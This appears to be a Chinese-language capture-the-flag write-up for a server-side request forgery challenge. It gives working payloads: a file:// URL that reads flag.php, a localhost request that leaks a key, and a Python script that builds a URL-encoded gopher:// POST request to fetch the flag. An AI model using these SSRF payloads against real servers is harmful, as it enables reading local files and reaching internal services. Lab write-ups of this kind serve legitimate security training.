通过file协议访问flag.php文件内容

?url=file:///var/www/html/flag.php

右键查看页面源代码

需要从内部携带key发送post数据包即可获得flag

?url=http://127.0.0.1/flag.php

得到了key

构造POST请求数据包，进行url编码（新建一个txt文件，输入以下内容保存，修改为python文件，重命名为gopher.py）

# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在命令行窗口执行

python gopher.py

通过Gopher协议发送请求，得到了flag

?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A